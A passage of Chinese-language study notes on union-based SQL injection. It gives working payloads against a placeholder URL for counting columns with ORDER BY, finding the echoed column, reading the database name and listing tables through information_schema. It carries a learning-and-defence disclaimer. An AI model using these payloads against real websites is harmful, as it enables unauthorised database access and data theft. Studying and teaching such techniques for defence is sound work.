SQL注入学习笔记:从探测到数据提取
前置知识 本文假设以下场景: 注入点:http://example.com/page?id=1 已确认列数:3列(通过ORDER BY探测) 回显位置:第2列(页面显示数字2的位置) ⚠️ 免责声明:本文仅用于安全学习和防御研究,请勿用于非法用途。 第一阶段:信息探测 1. 探测列数(ORDER BY法) -- 原理:ORDER BY 数字 按第几列排序,数字超过列数会报错 -- 使用二分法探测 -- 测试第3列是否存在 id=1 ORDER BY 3 -- - -- 正常响应 → 列数 ≥ 3 -- 测试第4列是否存在 id=1 ORDER BY 4 -- - -- 报错响应 → 列数 = 3 2. 确定回显位置 -- 使用UNION SELECT,让原查询返回空(如id=-1) -- 数字1,2,3是占位符,用于观察页面回显位置 id=-1 UNION SELECT 1,2,3 -- - -- 页面显示 "2" → 第2列会被输出 -- 后续攻击就在第2列的位置注入恶意代码 3. 获取当前数据库名 -- database()函数返回当前使用的数据库名 id=-1 UNION SELECT 1, database(), 3 -- - -- 返回示例:myblog_db 第二阶段:获取表结构 4. 获取所有表名 -- information_schema.tables:MySQL系统表 -- group_concat():将多行合并成一行(绕过UNION单行限制) id=-1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema = database() -- - -- 返回示例:users,products,admin,orders 为什么必须用group_concat? ...